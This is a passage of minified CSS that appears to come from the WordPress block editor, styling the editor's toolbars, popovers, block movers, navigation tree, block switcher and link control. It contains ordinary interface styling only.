.block-editor-block-list__block-selection-button { display: block; z-index: 22; } .block-editor-block-list__block-selection-button .components-button { font-size: 13px; height: 46px; padding: 12px 16px; position: relative; top: -1px; box-shadow: 0 0 0 1px #1e1e1e; border-radius: 1px; background-color: #fff; } .block-editor-block-list__block-selection-button .components-button:focus { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } /** * Warnings. */ .block-editor-block-list__block .block-editor-warning { z-index: 5; position: relative; } .block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning { margin-bottom: auto; } /** * Popovers. */ .block-editor-block-list__insertion-point-popover.is-without-arrow { z-index: 28; position: absolute; } .block-editor-block-list__insertion-point-popover.is-without-arrow .components-popover__content.components-popover__content { background: none; border: none; box-shadow: none; overflow-y: visible; margin-left: 0; } @keyframes hide-during-dragging { to { position: fixed; transform: translate(9999px, 9999px); } } .components-popover.block-editor-block-list__block-popover { z-index: 31; position: absolute; } .components-popover.block-editor-block-list__block-popover .components-popover__content { margin: 0 !important; min-width: auto; width: -webkit-max-content; width: max-content; background: none; border: none; box-shadow: none; overflow-y: visible; pointer-events: none; } .components-popover.block-editor-block-list__block-popover .components-popover__content > * { pointer-events: all; } .components-popover.block-editor-block-list__block-popover .components-popover__content .block-editor-block-list__block-selection-button, .components-popover.block-editor-block-list__block-popover .components-popover__content .block-editor-block-contextual-toolbar { margin-bottom: 12px; } .is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover { opacity: 0; animation: hide-during-dragging 1ms linear forwards; } .is-dragging-components-draggable .components-tooltip { display: none; } .block-editor-block-list__block .block-list-appender { margin: 0; } .block-editor-block-list__block .block-list-appender .block-editor-default-block-appender { margin: 8px 0; } .block-editor-block-list__block .block-list-appender .block-list-appender__toggle { padding: 0; opacity: 1; transform: scale(1); transition: all 0.1s ease; } @media (prefers-reduced-motion: reduce) { .block-editor-block-list__block .block-list-appender .block-list-appender__toggle { transition-duration: 0s; } } .block-list-appender > .block-editor-inserter { display: block; } .block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout > .block-list-appender .block-list-appender__toggle { opacity: 0; transform: scale(0); } .block-editor-block-breadcrumb { list-style: none; padding: 0; margin: 0; } .block-editor-block-breadcrumb li { display: inline-block; margin: 0; } .block-editor-block-breadcrumb li:not(:last-child)::after { content: "→" /*rtl:"←"*/; } .block-editor-block-breadcrumb__button.components-button { height: 24px; line-height: 24px; padding: 0; position: relative; } .block-editor-block-breadcrumb__button.components-button:hover:not(:disabled) { text-decoration: underline; box-shadow: none; } .block-editor-block-breadcrumb__button.components-button:focus { box-shadow: none; } .block-editor-block-breadcrumb__button.components-button:focus::before { content: ""; display: block; position: absolute; border-radius: 2px; top: 1px; right: 1px; bottom: 1px; left: 1px; box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .block-editor-block-breadcrumb__current { cursor: default; } .block-editor-block-breadcrumb__button.components-button, .block-editor-block-breadcrumb__current { color: #1e1e1e; padding: 0 8px; font-size: inherit; } .block-editor-block-card { display: flex; align-items: flex-start; } .block-editor-block-card__icon { border: 1px solid #ddd; padding: 7px; margin-right: 10px; height: 36px; width: 36px; } .block-editor-block-card__content { flex-grow: 1; } .block-editor-block-card__title { font-weight: 500; } .block-editor-block-card__title.block-editor-block-card__title { margin: 0 0 5px; } .block-editor-block-card__description { font-size: 13px; } .block-editor-block-card .block-editor-block-icon { margin-left: -2px; margin-right: 10px; padding: 0 3px; width: 36px; height: 24px; } /** * Invalid block comparison */ .block-editor-block-compare { overflow: auto; height: auto; } @media (min-width: 600px) { .block-editor-block-compare { max-height: 70%; } } .block-editor-block-compare__wrapper { display: flex; padding-bottom: 16px; } .block-editor-block-compare__wrapper > div { display: flex; justify-content: space-between; flex-direction: column; width: 50%; padding: 0 16px 0 0; min-width: 200px; } .block-editor-block-compare__wrapper > div button { float: right; } .block-editor-block-compare__wrapper .block-editor-block-compare__converted { border-left: 1px solid #ddd; padding-left: 15px; padding-right: 0; } .block-editor-block-compare__wrapper .block-editor-block-compare__html { font-family: Menlo, Consolas, monaco, monospace; font-size: 12px; color: #1e1e1e; border-bottom: 1px solid #ddd; padding-bottom: 15px; line-height: 1.7; } .block-editor-block-compare__wrapper .block-editor-block-compare__html span { background-color: #e6ffed; padding-top: 3px; padding-bottom: 3px; } .block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__added { background-color: #acf2bd; } .block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__removed { background-color: #cc1818; } .block-editor-block-compare__wrapper .block-editor-block-compare__preview { padding: 0; padding-top: 16px; } .block-editor-block-compare__wrapper .block-editor-block-compare__preview p { font-size: 12px; margin-top: 0; } .block-editor-block-compare__wrapper .block-editor-block-compare__action { margin-top: 16px; } .block-editor-block-compare__wrapper .block-editor-block-compare__heading { font-size: 1em; font-weight: 400; margin: 0.67em 0; } .block-editor-block-draggable-chip-wrapper { position: absolute; top: -24px; left: 0; } .block-editor-block-draggable-chip { background-color: #1e1e1e; border-radius: 2px; border: 1px solid #1e1e1e; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.3); color: #fff; cursor: grabbing; display: inline-flex; height: 48px; min-width: 72px; padding: 0 12px; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .block-editor-block-draggable-chip svg { fill: currentColor; } .block-editor-block-draggable-chip .block-editor-block-draggable-chip__content { margin: auto; } .block-editor-block-draggable-chip .components-flex__item { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; } .is-dragging { display: none !important; } .block-editor-block-mobile-toolbar { display: flex; flex-direction: row; border-right: 1px solid #ddd; } .block-editor-block-mobile-toolbar .block-editor-block-mover-button { width: 36px; height: 36px; border-radius: 2px; padding: 3px; margin: 0; justify-content: center; align-items: center; } .block-editor-block-mobile-toolbar .block-editor-block-mover-button .dashicon { margin: auto; } .block-editor-block-mobile-toolbar .block-editor-block-mover { display: flex; margin-right: auto; } .block-editor-block-mobile-toolbar .block-editor-block-mover .block-editor-block-mover-button { float: left; } .block-editor-block-mover-button__description { display: none; } .block-editor-block-mover-button.has-icon { padding: 0; } .block-editor-block-mover { display: inline-flex; flex-direction: row; } .block-editor-block-mover .block-editor-block-mover__move-button-container, .block-editor-block-mover .components-toolbar { flex: 1; flex-direction: row; border-right: none !important; } @media (min-width: 600px) { .block-editor-block-mover .block-editor-block-mover__move-button-container, .block-editor-block-mover .components-toolbar { flex-direction: column; } } .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container, .block-editor-block-mover.is-horizontal .components-toolbar { flex-direction: row; } @media (min-width: 600px) { .block-editor-block-mover .block-editor-block-mover-button { height: 24px; width: 42px; padding-right: 11px !important; padding-left: 6px !important; } } @media (min-width: 600px) { .block-editor-block-mover .block-editor-block-mover-button::before { left: 8px !important; right: 8px !important; } } .block-editor-block-mover .block-editor-block-mover__drag-handle { width: 24px; cursor: grab; min-width: 24px !important; padding: 0 !important; } .block-editor-block-mover .block-editor-block-mover__drag-handle:focus::before { left: 0 !important; right: 0 !important; } @media (min-width: 600px) { .block-editor-block-mover .components-toolbar-group .block-editor-block-mover-button, .block-editor-block-mover .components-toolbar .block-editor-block-mover-button { margin: 0 auto 0 0; } .block-editor-block-mover .components-toolbar-group .block-editor-block-mover-button.is-up-button::before, .block-editor-block-mover .components-toolbar .block-editor-block-mover-button.is-up-button::before { bottom: 0; height: calc(100% - 1px); } .block-editor-block-mover .components-toolbar-group .block-editor-block-mover-button.is-down-button::before, .block-editor-block-mover .components-toolbar .block-editor-block-mover-button.is-down-button::before { top: 0; height: calc(100% - 1px); } } .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.has-icon { height: 48px; width: 24px; padding-left: 0; padding-right: 0; } .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.has-icon::before { top: 1px; bottom: 1px; min-width: 0; width: auto; height: auto; } .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-up-button.has-icon svg { margin-left: 0; margin-right: -8px; margin-bottom: 0; } .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-up-button.has-icon::before { left: 0 !important; right: 0 !important; } .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-down-button.has-icon svg { margin-left: -8px; margin-right: 0; margin-top: 0; } .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-down-button.has-icon::before { left: 0 !important; right: 0 !important; width: calc(100% + 1px); } .block-editor-block-navigation__label { margin: 0 0 12px; color: #757575; text-transform: uppercase; font-size: 11px; font-weight: 500; } .block-editor-block-navigation__container { min-width: 280px; } .block-editor-block-navigation-tree { width: 100%; border-collapse: collapse; padding: 0; margin: 0; } .block-editor-block-navigation-leaf { position: relative; } .block-editor-block-navigation-leaf.is-selected .block-editor-block-navigation-block-contents, .block-editor-block-navigation-leaf.is-selected:hover .block-editor-block-navigation-block-contents, .block-editor-block-navigation-leaf.is-selected:focus .block-editor-block-navigation-block-contents { background: #1e1e1e; color: #fff; } .block-editor-block-navigation-leaf.is-dragging { display: none; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents { display: flex; align-items: center; width: 100%; height: auto; padding: 6px; text-align: left; color: #1e1e1e; border-radius: 2px; position: relative; white-space: nowrap; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents:hover { background: #f0f0f0; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents:focus { z-index: 1; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-before::before { content: ""; position: absolute; pointer-events: none; transition: border-color 0.1s linear, border-style 0.1s linear, box-shadow 0.1s linear; top: -2px; right: 0; left: 0; border-top: 4px solid #007cba; border-top: 4px solid var(--wp-admin-theme-color); } .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-after::before { content: ""; position: absolute; pointer-events: none; transition: border-color 0.1s linear, border-style 0.1s linear, box-shadow 0.1s linear; bottom: -2px; right: 0; left: 0; border-bottom: 4px solid #007cba; border-bottom: 4px solid var(--wp-admin-theme-color); } .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-to-inner-blocks::before { content: ""; position: absolute; pointer-events: none; transition: border-color 0.1s linear, border-style 0.1s linear, box-shadow 0.1s linear; bottom: -2px; right: 0; left: 24px; border-bottom: 4px solid #007cba; border-bottom: 4px solid var(--wp-admin-theme-color); } .components-modal__content .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents { padding-left: 0; padding-right: 0; } .block-editor-block-navigation-leaf.is-visible .block-editor-block-navigation-block-contents { opacity: 1; animation: edit-post__fade-in-animation 0.2s ease-out 0s; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .block-editor-block-navigation-leaf.is-visible .block-editor-block-navigation-block-contents { animation-duration: 1ms; } } .block-editor-block-navigation-leaf .block-editor-block-icon { align-self: flex-start; margin-right: 6px; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__contents-cell { padding-top: 0; padding-bottom: 0; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell { line-height: 0; width: 36px; opacity: 0; vertical-align: top; } @media (prefers-reduced-motion: reduce) { .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell { transition-duration: 0s; } } .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell.is-visible, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell.is-visible { opacity: 1; animation: edit-post__fade-in-animation 0.2s ease-out 0s; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell.is-visible, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell.is-visible { animation-duration: 1ms; } } .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell .components-button.has-icon, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell .components-button.has-icon { width: 24px; min-width: 24px; padding: 0; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell { padding-top: 8px; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell-alignment-wrapper { display: flex; height: 100%; flex-direction: column; align-items: center; } .block-editor-block-navigation-leaf .block-editor-block-mover-button { position: relative; width: 36px; height: 24px; } .block-editor-block-navigation-leaf .block-editor-block-mover-button svg { position: relative; height: 24px; } .block-editor-block-navigation-leaf .block-editor-block-mover-button.is-up-button { align-items: flex-end; } .block-editor-block-navigation-leaf .block-editor-block-mover-button.is-up-button svg { bottom: -4px; } .block-editor-block-navigation-leaf .block-editor-block-mover-button.is-down-button { align-items: flex-start; } .block-editor-block-navigation-leaf .block-editor-block-mover-button.is-down-button svg { top: -4px; } .block-editor-block-navigation-leaf .block-editor-block-mover-button:focus:enabled { box-shadow: none; outline: none; } .block-editor-block-navigation-leaf .block-editor-block-mover-button:focus { box-shadow: none; outline: none; } .block-editor-block-navigation-leaf .block-editor-block-mover-button:focus::before { box-shadow: inset 0 0 0 2px #007cba, inset 0 0 0 4px #fff; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 4px #fff; outline: 2px solid transparent; } .block-editor-block-navigation-leaf .block-editor-block-mover-button::before { content: ""; position: absolute; display: block; border-radius: 2px; height: 16px; min-width: 100%; left: 0; right: 0; animation: components-button__appear-animation 0.1s ease; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .block-editor-block-navigation-leaf .block-editor-block-mover-button::before { animation-duration: 1ms; } } .block-editor-block-navigation-leaf .block-editor-inserter__toggle { background: #1e1e1e; color: #fff; height: 24px; margin: 6px 6px 6px 1px; min-width: 24px; } .block-editor-block-navigation-leaf .block-editor-inserter__toggle:active { color: #fff; } .block-editor-block-navigation-block-slot__description, .block-editor-block-navigation-block-select-button__description, .block-editor-block-navigation-appender__description { display: none; } .block-editor-block-navigation-block__contents-cell .block-editor-block-navigation-block__contents-container, .block-editor-block-navigation-block__contents-cell .block-editor-block-navigation-appender__container, .block-editor-block-navigation-appender__cell .block-editor-block-navigation-block__contents-container, .block-editor-block-navigation-appender__cell .block-editor-block-navigation-appender__container { display: flex; } .block-editor-block-navigator-indentation { flex-shrink: 0; width: 18px; } .block-editor-block-parent-selector { background: #fff; border-radius: 2px; } .block-editor-block-parent-selector .block-editor-block-parent-selector__button { width: 48px; height: 48px; border: 1px solid #1e1e1e; border-radius: 2px; } .block-editor-block-patterns-list__item { border-radius: 2px; cursor: pointer; margin-top: 16px; transition: all 0.05s ease-in-out; position: relative; border: 1px solid transparent; } .block-editor-block-patterns-list__item:hover { border: 1px solid #007cba; border: 1px solid var(--wp-admin-theme-color); } .block-editor-block-patterns-list__item:focus { box-shadow: inset 0 0 0 1px #fff, 0 0 0 2px #007cba; box-shadow: inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; } .block-editor-block-patterns-list__item.is-placeholder { min-height: 100px; } .block-editor-block-patterns-list__item[draggable=true] .block-editor-block-preview__container { cursor: grab; } .block-editor-block-patterns-list__item-title { padding: 4px; font-size: 12px; text-align: center; } .block-editor-block-preview__container { position: relative; width: 100%; overflow: hidden; } .block-editor-block-preview__container.editor-styles-wrapper { padding: 0; margin: 0; } .block-editor-block-preview__container .block-editor-block-preview__content { position: absolute; top: 0; left: 0; transform-origin: top left; text-align: initial; margin: 0; overflow: visible; min-height: auto; } .block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__insertion-point, .block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-drop-zone, .block-editor-block-preview__container .block-editor-block-preview__content .reusable-block-indicator, .block-editor-block-preview__container .block-editor-block-preview__content .block-list-appender { display: none; } .block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__layout.is-root-container { padding-left: 0; padding-right: 0; } .block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__layout.is-root-container > .wp-block[data-align=full] { margin-left: 0; margin-right: 0; } .block-editor-block-settings-menu__popover .components-dropdown-menu__menu { padding: 0; } .block-editor-block-styles { display: flex; flex-wrap: wrap; justify-content: space-between; } .block-editor-block-styles__item { width: calc(50% - 4px); margin: 4px 0; flex-shrink: 0; cursor: pointer; overflow: hidden; border-radius: 2px; padding: 6px; display: flex; flex-direction: column; } .block-editor-block-styles__item:focus { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; } .block-editor-block-styles__item:hover .block-editor-block-styles__item-preview { border-color: #007cba; border-color: var(--wp-admin-theme-color); } .block-editor-block-styles__item.is-active .block-editor-block-styles__item-label { font-weight: bold; } .block-editor-block-styles__item.is-active .block-editor-block-styles__item-preview { margin: 0; border: 2px solid #1e1e1e; } .block-editor-block-styles__item-preview { outline: 1px solid transparent; padding: 0; margin: 2px; border-radius: 2px; display: flex; overflow: hidden; background: #fff; align-items: center; flex-grow: 1; min-height: 80px; max-height: 160px; } .block-editor-block-switcher__styles__menugroup { position: relative; } .block-editor-block-styles__item-label { text-align: center; padding: 4px 0; } .block-editor-block-switcher { position: relative; } .block-editor-block-switcher__no-switcher-icon, .block-editor-block-switcher__toggle { position: relative; } .components-button.block-editor-block-switcher__toggle, .components-button.block-editor-block-switcher__no-switcher-icon { margin: 0; display: block; height: 48px; } .components-button.block-editor-block-switcher__toggle .block-editor-block-icon, .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon { margin: auto; } .block-editor-block-switcher__toggle-text { margin-left: 8px; } .block-editor-block-switcher__popover { margin-left: 6px; } .components-button.block-editor-block-switcher__no-switcher-icon { width: 48px; } .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-blocks-icon { margin-right: auto; margin-left: auto; } .components-button.block-editor-block-switcher__no-switcher-icon:disabled { opacity: 1; } .components-button.block-editor-block-switcher__no-switcher-icon:disabled, .components-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors { color: #1e1e1e !important; } .block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon, .block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon, .block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon, .block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon { height: 100%; position: relative; margin: 0 auto; display: flex; align-items: center; } .block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon::before, .block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon::before, .block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon::before, .block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon::before { top: 8px; right: 8px; bottom: 8px; left: 8px; } .components-popover.block-editor-block-switcher__popover .components-popover__content { min-width: 300px; } .components-popover.block-editor-block-switcher__popover .components-popover__content > div { min-width: auto; display: flex; background: #fff; padding: 0; } .components-popover.block-editor-block-switcher__popover .components-popover__content > div .components-menu-group { padding: 16px; margin: 0; } .block-editor-block-switcher__popover .components-popover__content .block-editor-block-styles { margin: 0 -3px; } .block-editor-block-switcher__popover .components-popover__content .components-panel__body { border: 0; position: relative; z-index: 1; } .block-editor-block-switcher__popover .components-popover__content .components-panel__body + .components-panel__body { border-top: 1px solid #e0e0e0; } .block-editor-block-switcher__popover__preview__parent .block-editor-block-switcher__popover__preview__container { position: absolute; top: -12px; left: calc(100% + 32px); } .block-editor-block-switcher__preview__popover { display: none; } .block-editor-block-switcher__preview__popover.components-popover { margin-left: 4px; margin-top: 11px; } @media (min-width: 782px) { .block-editor-block-switcher__preview__popover { display: block; } } .block-editor-block-switcher__preview__popover .components-popover__content { box-shadow: none; border: 1px solid #1e1e1e; background: #fff; border-radius: 2px; } .block-editor-block-switcher__preview__popover .block-editor-block-switcher__preview { width: 300px; height: auto; padding: 16px; } .block-editor-block-switcher__preview-title { margin-bottom: 12px; color: #757575; text-transform: uppercase; font-size: 11px; font-weight: 500; } .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon { width: 48px; } .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon, .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle { height: 48px; } .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon, .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform, .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-icon, .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform { width: 48px; height: 48px; } .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform, .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform { padding: 12px; } .block-editor-block-types-list { list-style: none; padding: 4px; margin-left: -4px; margin-right: -4px; overflow: hidden; display: flex; flex-wrap: wrap; } .block-editor-block-variation-picker .components-placeholder__instructions { margin-bottom: 0; } .block-editor-block-variation-picker .components-placeholder__fieldset { flex-direction: column; } .block-editor-block-variation-picker.has-many-variations .components-placeholder__fieldset { max-width: 90%; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations { display: flex; justify-content: flex-start; flex-direction: row; flex-wrap: wrap; width: 100%; margin: 16px 0; padding: 0; list-style: none; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations > li { list-style: none; margin: 8px 20px 0 0; flex-shrink: 1; width: 75px; text-align: center; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations > li button { display: inline-flex; margin-right: 0; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation { padding: 8px; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation-label { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 12px; display: block; line-height: 1.4; } .block-editor-block-variation-picker__variation { width: 100%; } .block-editor-block-variation-picker__variation.components-button.has-icon { justify-content: center; width: auto; } .block-editor-block-variation-picker__variation.components-button.has-icon.is-secondary { background-color: #fff; } .block-editor-block-variation-picker__variation.components-button { height: auto; padding: 0; } .block-editor-block-variation-picker__variation::before { content: ""; padding-bottom: 100%; } .block-editor-block-variation-picker__variation:first-child { margin-left: 0; } .block-editor-block-variation-picker__variation:last-child { margin-right: 0; } .block-editor-block-variation-transforms { padding: 0 16px 16px 56px; width: 100%; } .block-editor-block-variation-transforms .components-dropdown-menu__toggle { border: 1px solid #757575; border-radius: 2px; min-height: 30px; width: 100%; position: relative; text-align: left; justify-content: left; padding: 6px 12px; } .block-editor-block-variation-transforms .components-dropdown-menu__toggle.components-dropdown-menu__toggle { padding-right: 24px; } .block-editor-block-variation-transforms .components-dropdown-menu__toggle:focus:not(:disabled) { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 2px-1px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus)-1px var(--wp-admin-theme-color); } .block-editor-block-variation-transforms .components-dropdown-menu__toggle svg { height: 100%; padding: 0; position: absolute; right: 0; top: 0; } .block-editor-block-variation-transforms__popover .components-popover__content { min-width: 230px; } .block-editor-button-block-appender { display: flex; flex-direction: column; align-items: center; justify-content: center; padding: 8px; width: 100%; height: auto; color: #1e1e1e; box-shadow: inset 0 0 0 1px #1e1e1e; } .is-dark-theme .block-editor-button-block-appender { color: rgba(255, 255, 255, 0.65); box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.65); } .block-editor-button-block-appender:hover { color: #007cba; color: var(--wp-admin-theme-color); box-shadow: inset 0 0 0 1px #007cba; box-shadow: inset 0 0 0 1px var(--wp-admin-theme-color); } .block-editor-button-block-appender:focus { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 2px var(--wp-admin-theme-color); } .block-editor-button-block-appender:active { color: #000; } .block-editor-button-block-appender.block-list-appender__toggle { display: flex; flex-direction: row; color: #1e1e1e; box-shadow: none; height: 24px; width: 24px; padding: 0; margin-left: 8px; } .block-editor-button-block-appender.block-list-appender__toggle:active { color: #fff; } .block-editor-button-block-appender.block-list-appender__toggle > svg { width: 24px; background-color: #1e1e1e; color: #fff; border-radius: 2px; } .block-editor-color-gradient-control .block-editor-color-gradient-control__color-indicator { margin-bottom: 12px; } .block-editor-color-gradient-control .block-editor-color-gradient-control__button-tabs { display: block; margin-bottom: 12px; } .block-editor-panel-color-gradient-settings .component-color-indicator { vertical-align: text-bottom; } .block-editor-panel-color-gradient-settings__panel-title .component-color-indicator { display: inline-block; } .block-editor-panel-color-gradient-settings.is-opened .block-editor-panel-color-gradient-settings__panel-title .component-color-indicator { display: none; } @media screen and (min-width: 782px) { .block-editor-panel-color-gradient-settings .components-circular-option-picker__swatches { margin-right: 0; } .block-editor-panel-color-gradient-settings .components-circular-option-picker__option-wrapper { margin-right: calc((100% - (28px * 6)) / 5); } .block-editor-panel-color-gradient-settings .components-circular-option-picker__option-wrapper:nth-child(6n+6) { margin-right: 0; } } .block-editor-contrast-checker > .components-notice { margin: 0; } .block-editor-default-block-appender { clear: both; margin-left: auto; margin-right: auto; position: relative; } .block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover { outline: 1px solid transparent; } .block-editor-default-block-appender textarea.block-editor-default-block-appender__content { font-family: inherit; font-size: inherit; border: none; background: none; box-shadow: none; display: block; cursor: text; width: 100%; outline: 1px solid transparent; transition: 0.2s outline; margin-top: 28px; margin-bottom: 28px; resize: none !important; padding: 0 50px 0 0; color: rgba(30, 30, 30, 0.62); } @media (prefers-reduced-motion: reduce) { .block-editor-default-block-appender textarea.block-editor-default-block-appender__content { transition-duration: 0s; } } .is-dark-theme .block-editor-default-block-appender textarea.block-editor-default-block-appender__content { color: rgba(255, 255, 255, 0.65); } .block-editor-default-block-appender .components-drop-zone__content-icon { display: none; } .block-editor-default-block-appender__content { line-height: 1.8; } .block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter, .block-editor-default-block-appender .block-editor-inserter { position: absolute; top: 0; height: 32px; } .block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle, .block-editor-default-block-appender .block-editor-inserter .block-editor-inserter__toggle { margin-right: 0; } .block-editor-block-list__empty-block-inserter, .block-editor-default-block-appender .block-editor-inserter { right: 8px; } @media (min-width: 600px) { .block-editor-block-list__empty-block-inserter, .block-editor-default-block-appender .block-editor-inserter { display: flex; height: 100%; } } .block-editor-block-list__empty-block-inserter:disabled, .block-editor-default-block-appender .block-editor-inserter:disabled { display: none; } @media (min-width: 600px) { .block-editor-default-block-appender .block-editor-inserter { align-items: center; } } .components-font-appearance-control__select { margin-bottom: 24px; } .components-font-appearance-control__select ul li { color: #1e1e1e; text-transform: capitalize; } .block-editor-link-control { position: relative; min-width: 360px; } .components-popover__content .block-editor-link-control { min-width: auto; width: 90vw; max-width: 360px; } .block-editor-link-control__search-input-wrapper { position: relative; } .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; width: calc(100% - 32px); display: block; padding: 11px 16px; padding-right: 36px; margin: 16px; position: relative; border: 1px solid #ddd; border-radius: 2px; } @media (prefers-reduced-motion: reduce) { .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text] { transition-duration: 0s; } } @media (min-width: 600px) { .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .block-editor-link-control 